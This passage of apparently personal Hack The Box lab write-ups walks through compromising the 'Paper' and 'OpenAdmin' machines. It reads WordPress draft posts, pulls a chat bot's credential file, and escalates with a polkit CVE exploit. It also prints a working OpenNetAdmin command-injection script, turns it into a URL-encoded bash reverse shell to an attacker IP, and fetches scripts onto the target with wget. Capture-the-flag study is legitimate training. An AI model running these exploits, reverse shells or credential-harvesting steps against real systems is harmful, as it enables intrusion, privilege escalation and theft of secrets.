 |      - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/ticket/54207
 |
 | [!] Title: WordPress < 5.8 - Plugin Confusion
 |     Fixed in: 5.8
 |     References:
 |      - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223
 |      - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/
 |
 | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
 |      - https://hackerone.com/reports/1378209
 |
 | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
 |      - https://hackerone.com/reports/425342
 |      - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
 |
 | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
 |
 | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
 |     Fixed in: 5.2.14
 |     References:
 |      - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
 |      - https://hackerone.com/reports/541469

[+] WordPress theme in use: construction-techup
 | Location: http://office.paper/wp-content/themes/construction-techup/
 | Last Updated: 2021-07-17T00:00:00.000Z
 | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
 | Style Name: Construction Techup
 | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
 | Author: wptexture
 | Author URI: https://testerwp.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==========================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.
```

Based on the comment we found, it looks like "WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts" is going to be the exploit we want to use. Navigating to [wpscan.com link](https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2), we see a proof of concept, `http://wordpress.local/?static=1&order=asc`. However, this didn't work. Exploring another [linked page that goes into more detail](https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), we see that just using `http://wordpress.local/?static=1` should work. Navigating to `http://office.paper/?static=1` we see the below post:

```
test

Micheal please remove the secret from drafts for gods sake!

Hello employees of Blunder Tiffin,

Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system.

So, I kindly request you all to take your discussions from the public blog to a more private chat system.

-Nick

# Warning for Michael

Michael, you have to stop putting secrets in the drafts. It is a huge security issue and you have to stop doing it. -Nick

Threat Level Midnight

A MOTION PICTURE SCREENPLAY,
WRITTEN AND DIRECTED BY
MICHAEL SCOTT

[INT:DAY]

Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt….

# Secret Registration URL of new Employee chat system

http://chat.office.paper/register/8qozr226AhkCHZdyY

# I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.

# Also, stop looking at my drafts. Jeez!
```

We have discoverd a new subdomain. Let's add it to `/etc/hosts`: `echo "10.10.11.143 chat.office.paper" | sudo tee -a /etc/hosts`.

### Rocket.chat

Navigating to `http://chat.office.paper` reveals a [rocket.chat](https://rocket.chat/) instance. Going to the "Secret Registration URL", `http://chat.office.paper/register/8qozr226AhkCHZdyY`, shows a registration page. After signing up we see the rocket.chat interface. We can click the globe icon in the top left to see a directory of channels we can join. The general channel has messages about how a bot, "recyclops," was recently added. We can direct message the bot to interaction with it. Running the `recyclops help` command lists the available commands.

## Foothold

Interactions with the `recyclops` bot to find some useful information:

```
$ recyclops list sale

 total 4
drwxr-xr-x 2 dwight dwight 27 Sep 15 13:03 .
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 ..
-rw-r--r-- 1 dwight dwight 158 Sep 15 13:03 portfolio.txt 
$ recyclops file sale/portfolio.txt 
 <!=====Contents of file sale/portfolio.txt=====>
Portfolio
----------
- Bill
- Served the country in war
- Family built the country
- purchased paper worth a million dollars
- will probably fire me.
<!=====End of file sale/portfolio.txt=====>
$ recyclops list . 
 total 0
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 .
drwx------ 11 dwight dwight 281 Feb 6 07:46 ..
drwxr-xr-x 2 dwight dwight 27 Sep 15 13:03 sale
drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 sale_2 
$ recyclops list sale_2
 total 4
drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 .
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 ..
-rw-r--r-- 1 dwight dwight 113 Jul 3 2021 portfolio.txt 
$ recyclops file sale_2/portfolio.txt
 <!=====Contents of file sale_2/portfolio.txt=====>
Portfolio
----------
- Christian
- Still No idea how micheal made the sale!
- Need further clarifications.
<!=====End of file sale_2/portfolio.txt=====>
$ recyclops list ..
 total 32
drwx------ 11 dwight dwight 281 Feb 6 07:46 .
drwxr-xr-x. 3 root root 20 Jan 14 06:50 ..
lrwxrwxrwx 1 dwight dwight 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout
-rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile
-rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 06:58 bot_restart.sh
drwx------ 5 dwight dwight 56 Jul 3 2021 .config
-rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth
drwx------ 2 dwight dwight 44 Jul 3 2021 .gnupg
drwx------ 8 dwight dwight 4096 Sep 16 07:57 hubot
-rw-rw-r-- 1 dwight dwight 18 Sep 16 07:24 .hubot_history
drwx------ 3 dwight dwight 19 Jul 3 2021 .local
drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla
drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales
drwx------ 2 dwight dwight 6 Sep 16 08:56 .ssh
-r-------- 1 dwight dwight 33 Feb 14 21:05 user.txt
drwxr-xr-x 2 dwight dwight 24 Sep 16 07:09 .vim 
$ recyclops file ../bot_restart.sh 
 <!=====Contents of file ../bot_restart.sh=====>
#!/bin/bash

# Cleaning hubot's log so that it won't grow too large.
echo "" > /home/dwight/hubot/.hubot.log


# For starting the bot 20-ish (10+20) seconds late, when the server is restarted.
# This is because MongoDB and Rocket-Chat server needs some time to startup properly
sleep 10s

# Checks if Hubot is running every 10s
while [ 1 ];
do
sleep 20s
alive=$(/usr/sbin/ss -tulnp|grep 8000);
if [[ -n $alive ]]; then
err=$(grep -i 'unhandled-rejections=strict' /home/dwight/hubot/.hubot.log)
if [[ -n $err ]]; then
# Restarts bot
echo "[-] Bot not running!
date";
#Killing the old process
pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6);
kill -9 $pid;
cd /home/dwight/hubot;
# Cleaning hubot's log so that it won't grow too large.
echo "" > /home/dwight/hubot/.hubot.log
bash /home/dwight/hubot/start_bot.sh&
else


echo "[+] Bot running succesfully! date";
fi

else
# Restarts bot
echo "[-] Bot not running! date
";
#Killing the old process
pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6);
kill -9 $pid;
cd /home/dwight/hubot;
bash /home/dwight/hubot/start_bot.sh&
fi

done
<!=====End of file ../bot_restart.sh=====>
$ recyclops file ../.hubot_history
!=====Contents of file ../.hubot_history=====>
time
connect
help
<!=====End of file ../.hubot_history=====>
$ recyclops file ../hubot/start_bot.sh
 <!=====Contents of file ../hubot/start_bot.sh=====>
#!/bin/bash
cd /home/dwight/hubot
source /home/dwight/hubot/.env
/home/dwight/hubot/bin/hubot
#cd -
<!=====End of file ../hubot/start_bot.sh=====>
$ recyclops file ../hubot/.env
 <!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>
```

## Lateral Movement

As you can see, running `recyclops file ../hubot/.env` gives us a password of `Queenofblad3s!23`. Using that password to SSH into the box as the user `dwight` (since that name has been mentioned a lot and it is the user whose file we have been browsing) works. We can now `cat user.txt` and get the user flag.

## Privilege Escalation

Connect with [calebstewart/pwncat](https://github.com/calebstewart/pwncat) with `pwncat-cs dwight@10.10.11.143`. Pwncat's built-in escalation techniques (`escalate list -u root`) do not work. Upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) to the box with `upload linpeas.sh`. Then, run LinPEAS with `bash linpeas.sh`

LinPEAS immediately tells us that the installed version of `sudo` is vulnerable to `CVE-2021-3560`.

I initially read `CVE-2021-3560` as `CVE-2021-4034`, which are both polkit local privilege escalation vulnerabilities. `CVE-2021-4034` is a [very recent exploit](https://access.redhat.com/security/cve/CVE-2021-4034) ([disclosed to public on January 25th, 2022](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)) and I thought it unlikely to be the intended solution because it is so new. Downloading [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) as a ZIP file, copying the file over, unzipping it, running `make` in the directory, and then executing `./cve-2021-4034` doesn't work:

```
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
```

If we run `ls -la /usr/bin/pkexec` we can see that the permissions are `-rwxr-xr-x` not `-rwsr-xr-x`.

The [older polkit local privilege escalation exploit](https://access.redhat.com/security/cve/cve-2021-3560), `CVE-2021-3560` ([Official blog post by person who discovered exploit](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)), is the one that LinPEAS recommended and it does work.

Searching GitHub for this CVE finds several repositories, but after trying several, [secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) seems to work the best at the time of writing. [Download the script](https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/main/poc.sh), upload it to the target machine, and then run it like so: `./poc.sh -u=john -p=john`. Then, run `su - john` to switch to the new user and execute `sudo bash` to get a root shell. I was able to get this root shell after running the script for the third time.

Finally, `cat /root/root.txt` to get the root flag.


# OpenAdmin

HTB - OpenAdmin

1. `nmap -T4 -p- -A 10.10.10.171`

   ```
   Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 23:26 EDT
   Warning: 10.10.10.171 giving up on port because retransmission cap hit (6).
   Nmap scan report for 10.10.10.171
   Host is up (0.11s latency).
   Not shown: 47750 closed ports, 17783 filtered ports
   PORT   STATE SERVICE VERSION
   22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
   | ssh-hostkey: 
   |   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
   |   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
   |_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
   80/tcp open  http?
   Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   Nmap done: 1 IP address (1 host up) scanned in 2888.60 seconds
   ```

   Secondary Possible Nmap Command: `nmap -p- -Pn -sV -sC 10.10.10.171`
2. Enumerate HTTP
   1. Go to `http://10.10.10.171` shows default apache page
   2. Directory busting with `dirbuster`: `http://10.10.10.171:80`, go faster, and `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` password list. Finds `/ona/` and `/music/` (which has a login link that goes to `/ona/`).

      ```
      DirBuster 1.0-RC1 - Report
      http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
      Report produced on Sat May 09 00:19:22 EDT 2020
      --------------------------------

      http://10.10.10.171:80
      --------------------------------
      Directories found during testing:

      Dirs found with a 200 response:

      /
      /music/
      /music/img/
      /music/css/
      /music/img/blog/
      /music/js/
      /music/img/playlist/
      /music/img/concept/
      /music/img/songs/
      /ona/
      /music/img/premium/
      /music/img/icons/
      /ona/images/
      /ona/include/
      /ona/modules/
      /ona/images/silk/
      /ona/include/adodb/
      /ona/include/js/
      /ona/include/xajax_suggest/
      /ona/modules/ona/
      /ona/include/xajax_drag/
      /ona/include/adodb5/
      /ona/include/xajax_webwin/
      /ona/include/auth/
      /ona/local/
      /ona/include/xajax/xajax_js/
      /ona/include/xajax/
      /ona/local/config/
      /ona/local/nmap_scans/
      /ona/include/xajax_0.2.4/
      /ona/local/plugins/
      /ona/local/nmap_scans/subnets/
      /ona/plugins/
      /ona/plugins/ona_nmap_scans/
      /ona/include/xajax_0.2.4/xajax_js/
      /ona/include/adodb/datadict/
      /ona/include/adodb/lang/
      /ona/images/silk/icons/
      /ona/include/adodb/drivers/
      /ona/plugins/ona_nmap_scans/sql/
      /ona/include/adodb/xsl/
      /ona/include/adodb5/drivers/
      /ona/include/adodb5/lang/
      /ona/include/adodb5/datadict/
      /ona/include/adodb5/xsl/
      /ona/config/

      Dirs found with a 403 response:

      /icons/
      /icons/small/


      --------------------------------
      Files found during testing:

      Files found with a 301 responce:

      /ona

      Files found with a 200 responce:

      /music/playlist.html
      /music/index.html
      /music/contact.html
      /music/blog.html
      /music/category.html
      /music/artist.html
      /music/css/font-awesome.min.css
      /music/js/jquery-3.2.1.min.js
      /music/js/WaveSurferInit.js
      /ona/login.php
      /ona/index.php
      /music/css/bootstrap.min.css
      /music/js/bootstrap.min.js
      /music/js/jplayerInit.js
      /music/css/owl.carousel.min.css
      /music/js/jquery.slicknav.min.js
      /music/css/slicknav.min.css
      /music/js/jquery.jplayer.min.js
      /music/js/owl.carousel.min.js
      /music/js/main.js
      /music/css/style.css
      /music/js/wavesurfer.min.js
      /music/js/mixitup.min.js
      /ona/modules/get_module_list.inc.php
      /ona/include/DifferenceEngine.php
      /ona/modules/ipcalc.inc.php
      /ona/modules/mangle.inc.php
      /ona/modules/mysql_purge_logs.inc.php
      /ona/include/adodb_sessions.inc.php
      /ona/modules/report_run.inc.php
      /ona/include/functions_auth.inc.php
      /ona/include/xajax_suggest/suggest.js
      /ona/include/js/global.js
      /ona/include/adodb/README.md
      /ona/modules/sql.inc.php
      /ona/modules/permissions.inc.php
      /ona/include/functions_general.inc.php
      /ona/include/adodb/adodb-active-record.inc.php
      /ona/include/js/bignumber.js
      /ona/include/xajax_suggest/suggest.css
      /ona/include/functions_gui.inc.php
      /ona/include/xajax_drag/drag.js
      /ona/include/adodb/adodb-active-recordx.inc.php
      /ona/include/xajax_webwin/webwinTT.js
      /ona/include/xajax_webwin/webwin.js
      /ona/include/functions_network_map.inc.php
      /ona/include/adodb/LICENSE.md
      /ona/include/adodb/adodb-csvlib.inc.php
      /ona/include/xajax_webwin/webwin.css
      /ona/include/xajax/xajax_js/xajax.js
      /ona/include/adodb/adodb-datadict.inc.php
      /ona/include/auth/local.class.php
      /ona/include/adodb5/LICENSE.md
      /ona/include/html_desktop.inc.php
      /ona/include/adodb5/README.md
      /ona/include/adodb/adodb-error.inc.php
      /ona/include/adodb5/adodb-active-record.inc.php
      /ona/include/xajax/xajax_js/xajax_uncompressed.js
      /ona/include/adodb/adodb-errorhandler.inc.php
      /ona/include/unknown_module_msg.inc.php
      /ona/include/adodb5/adodb-active-recordx.inc.php
      /ona/include/adodb/adodb-errorpear.inc.php
      /ona/include/adodb/adodb-exceptions.inc.php
      /ona/include/xajax/xajax.inc.php
      /ona/include/adodb5/adodb-csvlib.inc.php
      /ona/modules/ona/dns_record.inc.php
      /ona/include/adodb/adodb-iterator.inc.php
      /ona/include/xajax/README.txt
      /ona/include/xajax/xajaxCompress.php
      /ona/local/config/database_settings.inc.php
      /ona/include/adodb5/adodb-datadict.inc.php
      /ona/include/adodb/adodb-lib.inc.php
      /ona/local/config/motd.txt.example
      /ona/include/xajax/LICENSE.txt
      /ona/local/plugins/README
      /ona/include/xajax/xajaxResponse.inc.php
      /ona/include/xajax_0.2.4/README.txt
      /ona/include/xajax_0.2.4/LICENSE.txt
      /ona/include/adodb/adodb-memcache.lib.inc.php
      /ona/local/config/run_installer
      /ona/include/adodb5/adodb-error.inc.php
      /ona/include/adodb/adodb-pager.inc.php
      /ona/include/adodb5/adodb-errorhandler.inc.php
      /ona/include/xajax_0.2.4/xajax.inc.php
      /ona/include/xajax_0.2.4/xajaxCompress.php
      /ona/include/adodb5/adodb-errorpear.inc.php
      /ona/include/adodb/adodb-pear.inc.php
      /ona/modules/ona/host.inc.php
      /ona/plugins/README
      /ona/modules/ona/interface.inc.php
      /ona/include/adodb5/adodb-exceptions.inc.php
      /ona/include/xajax_0.2.4/xajaxResponse.inc.php
      /ona/modules/ona/location.inc.php
      /ona/include/adodb/adodb-perf.inc.php
      /ona/include/adodb5/adodb-iterator.inc.php
      /ona/include/adodb/adodb-php4.inc.php
      /ona/include/adodb/adodb-time.inc.php
      /ona/local/nmap_scans/subnets/nmap.xsl
      /ona/include/adodb5/adodb-lib.inc.php
      /ona/modules/ona/tag.inc.php
      /ona/include/adodb/adodb-xmlschema.inc.php
      /ona/include/adodb/adodb-xmlschema03.inc.php
      /ona/include/adodb5/adodb-memcache.lib.inc.php
      /ona/include/html_style_sheet.inc.php
      /ona/include/xajax_0.2.4/xajax_js/xajax.js
      /ona/include/adodb5/adodb-pager.inc.php
      /ona/include/adodb/adodb.inc.php
      /ona/modules/ona/vlan.inc.php
      /ona/modules/ona/vlan_campus.inc.php
      /ona/include/adodb5/adodb-pear.inc.php
      /ona/plugins/ona_nmap_scans/nmap_scan_cron
      /ona/include/adodb/composer.json
      /ona/plugins/ona_nmap_scans/plugin_info.php
      /ona/include/adodb5/adodb-perf.inc.php
      /ona/plugins/ona_nmap_scans/nmap.xsl
      /ona/include/adodb5/adodb-php4.inc.php
      /ona/include/adodb/pivottable.inc.php
      /ona/include/adodb5/adodb-xmlschema.inc.php
      /ona/include/adodb5/adodb-time.inc.php
      /ona/plugins/ona_nmap_scans/report.inc.php
      /ona/include/adodb5/adodb-xmlschema03.inc.php
      /ona/include/adodb/rsfilter.inc.php
      /ona/plugins/ona_nmap_scans/report_item.inc.php
      /ona/include/xajax_0.2.4/xajax_js/xajax_uncompressed.js
      /ona/include/adodb/server.php
      /ona/include/adodb/lang/adodb-ar.inc.php
      /ona/include/adodb/datadict/datadict-access.inc.php
      /ona/include/adodb/toexport.inc.php
      /ona/include/adodb5/adodb.inc.php
      /ona/include/adodb/datadict/datadict-db2.inc.php
      /ona/include/adodb/lang/adodb-bg.inc.php
      /ona/include/adodb/tohtml.inc.php
      /ona/include/adodb/lang/adodb-ca.inc.php
      /ona/include/adodb/datadict/datadict-generic.inc.php
      /ona/include/adodb/lang/adodb-cn.inc.php
      /ona/include/adodb/lang/adodb-cz.inc.php
      /ona/include/adodb/xmlschema.dtd
      /ona/include/adodb/lang/adodb-da.inc.php
      /ona/include/adodb/datadict/datadict-ibase.inc.php
      /ona/include/adodb5/composer.json
      /ona/include/adodb/lang/adodb-de.inc.php
      /ona/include/adodb/xmlschema03.dtd
      /ona/include/adodb5/pivottable.inc.php
      /ona/include/adodb/lang/adodb-en.inc.php
      /ona/plugins/ona_nmap_scans/sql/check_last_response.sql
      /ona/include/adodb/datadict/datadict-informix.inc.php
      /ona/include/adodb5/rsfilter.inc.php
      /ona/include/adodb/lang/adodb-eo.inc.php
      /ona/include/adodb/datadict/datadict-mssql.inc.php
      /ona/include/adodb/lang/adodb-es.inc.php
      /ona/include/adodb/lang/adodb-fa.inc.php
      /ona/include/adodb/datadict/datadict-mysql.inc.php
      /ona/plugins/ona_nmap_scans/sql/nmap_subnets.sql
      /ona/include/adodb/lang/adodb-fr.inc.php
      /ona/include/adodb/datadict/datadict-mssqlnative.inc.php
      /ona/include/adodb/lang/adodb-hu.inc.php
      /ona/include/adodb/lang/adodb-it.inc.php
      /ona/include/adodb/datadict/datadict-postgres.inc.php
      /ona/include/adodb/xsl/convert-0.1-0.2.xsl
      /ona/include/adodb/xsl/convert-0.1-0.3.xsl
      /ona/include/adodb5/toexport.inc.php
      /ona/include/adodb5/server.php
      /ona/include/adodb5/lang/adodb-ar.inc.php
      /ona/include/adodb5/tohtml.inc.php
      /ona/include/adodb/datadict/datadict-sapdb.inc.php
      /ona/include/adodb5/datadict/datadict-access.inc.php
      /ona/include/adodb/lang/adodb-nl.inc.php
      /ona/include/adodb5/datadict/datadict-db2.inc.php
      /ona/include/adodb/lang/adodb-pl.inc.php
      /ona/include/adodb/xsl/convert-0.2-0.1.xsl
      /ona/include/adodb/datadict/datadict-sqlite.inc.php
      /ona/include/adodb5/lang/adodb-bg.inc.php
      /ona/include/adodb5/xmlschema.dtd
      /ona/include/adodb/lang/adodb-pt-br.inc.php
      /ona/include/adodb5/lang/adodb-ca.inc.php
      /ona/include/adodb/datadict/datadict-sybase.inc.php
      /ona/include/adodb5/datadict/datadict-generic.inc.php
      /ona/include/adodb5/lang/adodb-cn.inc.php
      /ona/include/adodb/lang/adodb-ro.inc.php
      /ona/include/adodb/xsl/remove-0.2.xsl
      /ona/include/adodb5/datadict/datadict-ibase.inc.php
      /ona/include/adodb5/lang/adodb-cz.inc.php
      /ona/include/adodb5/xmlschema03.dtd
      /ona/include/adodb/lang/adodb-ru.inc.php
      /ona/include/adodb/xsl/remove-0.3.xsl
      /ona/include/adodb5/lang/adodb-da.inc.php
      /ona/include/adodb5/datadict/datadict-informix.inc.php
      /ona/include/adodb/xsl/convert-0.2-0.3.xsl
      /ona/include/adodb5/datadict/datadict-mssql.inc.php
      /ona/include/adodb5/lang/adodb-de.inc.php
      /ona/include/adodb/datadict/datadict-oci8.inc.php
      /ona/include/adodb/lang/adodb-sv.inc.php
      /ona/include/adodb5/datadict/datadict-mssqlnative.inc.php
      /ona/include/adodb/lang/adodb-th.inc.php
      /ona/include/adodb5/lang/adodb-en.inc.php
      /ona/include/adodb/lang/adodb-uk.inc.php
      /ona/include/adodb5/lang/adodb-es.inc.php
      /ona/include/adodb5/datadict/datadict-oci8.inc.php
      /ona/include/adodb5/lang/adodb-fa.inc.php
      /ona/include/adodb5/datadict/datadict-postgres.inc.php
      /ona/include/adodb5/xsl/convert-0.1-0.2.xsl
      /ona/include/adodb5/datadict/datadict-sapdb.inc.php
      /ona/include/adodb5/lang/adodb-hu.inc.php
      /ona/include/adodb5/xsl/convert-0.1-0.3.xsl
      /ona/include/adodb5/xsl/convert-0.2-0.1.xsl
      /ona/include/adodb5/lang/adodb-it.inc.php
      /ona/include/adodb5/lang/adodb-fr.inc.php
      /ona/include/adodb5/datadict/datadict-sqlite.inc.php
      /ona/include/adodb5/xsl/convert-0.2-0.3.xsl
      /ona/include/adodb5/lang/adodb-nl.inc.php
      /ona/include/adodb5/datadict/datadict-sybase.inc.php
      /ona/include/adodb5/lang/adodb-pl.inc.php
      /ona/include/adodb5/xsl/remove-0.3.xsl
      /ona/include/adodb5/xsl/remove-0.2.xsl
      /ona/include/adodb5/lang/adodb-ro.inc.php
      /ona/include/adodb5/lang/adodb-ru.inc.php
      /ona/include/adodb5/lang/adodb-sv.inc.php
      /ona/include/adodb5/lang/adodb-th.inc.php
      /ona/include/adodb5/lang/adodb-pt-br.inc.php
      /ona/include/adodb5/lang/adodb-uk.inc.php
      /ona/plugins/ona_nmap_scans/sql/nmap_subnets_only_yes.sql
      /ona/include/adodb5/datadict/datadict-mysql.inc.php
      /ona/include/adodb5/lang/adodb-eo.inc.php
      /ona/logout.php
      /ona/config/auth_ldap.config.php
      /ona/shell.php

      Files found with a 500 responce:

      /ona/include/xajax_drag/drag.inc.php
      /ona/include/xajax_suggest/suggest.inc.php
      /ona/modules/ona/block.inc.php
      /ona/include/functions_db.inc.php
      /ona/modules/ona/dhcp_server.inc.php
      /ona/include/xajax_setup.inc.php
      /ona/modules/ona/domain.inc.php
      /ona/modules/ona/domain_server.inc.php
      /ona/include/auth/ldap.class.php
      /ona/modules/ona/configuration.inc.php
      /ona/include/xajax_webwin/webwin.inc.php
      /ona/modules/ona/custom_attribute.inc.php
      /ona/modules/ona/message.inc.php
      /ona/modules/ona/subnet.inc.php
      /ona/modules/ona/dhcp_entry.inc.php
      /ona/modules/ona/dhcp_failover.inc.php
      /ona/modules/ona/dhcp_pool.inc.php
      /ona/plugins/ona_nmap_scans/install.php
      /ona/plugins/ona_nmap_scans/ona_nmap_scans.inc.php
      /ona/include/adodb/datadict/datadict-firebird.inc.php
      /ona/include/adodb5/datadict/datadict-firebird.inc.php
      /ona/config/config.inc.php


      --------------------------------
      ```

      <img src="https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-31f08aa1b382baa97007d367bc8b96eece7aa9d7%2Fd313d186a2cf43538031c27912670cba.png?alt=media" alt="Screenshot-20200509000509-1226x432.png" data-size="original">
   3. Search for `opennetadmin v18.1.1 exploit` finds [OpenNetAdmin 18.1.1 - Remote Code Execution](https://www.exploit-db.com/exploits/47691) and [OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)](https://www.exploit-db.com/exploits/47772) and [Rapid7](https://www.rapid7.com/db/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection)
   4. Metasploit

      ```
      sudo msfconsole
      use exploit/unix/webapp/opennetadmin_ping_cmd_injection
      set rhosts 10.10.10.171
      set lhost tun0
      set lport 56762
      set payload linux/x86/meterpreter_reverse_tcp
      run
      ```
   5. Manual (Better by far) Get exploit:

      ```
      searchsploit -m exploits/php/webapps/47691.sh && chmod +x 47691.sh
      dos2unix 47691.sh
      ```

      Exploit Script:

      ```
      #!/bin/bash

      URL="${1}"
      while true;do
       echo -n "$ "; read cmd
       curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
      done
      ```

      Run exploit:

      ```
      ./47691.sh http://10.10.10.171/ona/login.php
      ```

      The script runs an infinite bash loop taking commands and printing the output. The exploit adds an echo before and after the command the user runs and then uses sed to cut out the command output and ignore the rest.

      So since a reverse shell is what we want, lets modify the command to create one with bash:

      ```
      curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.61%2F42548%200%3E%261'&xajaxargs[]=ping" "http://10.10.10.171/ona/login.php"
      ```

      To create the above command, `bash -c 'bash -i >& /dev/tcp/10.10.14.61/42548 0>&'1` was encoded for URLs by [URLencoder](https://www.urlencoder.org/) and placed in the command area. The `-c` argument to bash is necessary so bash parses the decoded command and not the URL encoded version.
3. Lateral Movement
   1. Linux Enumeration
      1. [`LinEnum.sh`](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) On Attacker:

         ```
         wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
         sudo python3 -m http.server 80
         ```

         On Target:

         ```
         wget http://10.10.14.61/LinEnum.sh
         chmod +x LinEnum.sh
         ./LinEnum.sh -r report -e /tmp/ -t
         ```
      2. [`linuxprivchecker.py`](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) On Attacker:

         ```
         wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
         sudo python3 -m http.server 80
         ```

         On Target:

         ```
         wget http://10.10.14.61/linuxprivchecker.py
         chmod +x linuxprivchecker.py
         ./LinEnum.sh -r report -e /tmp/ -t
         ```
      3. [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) On Attacker:

         ```
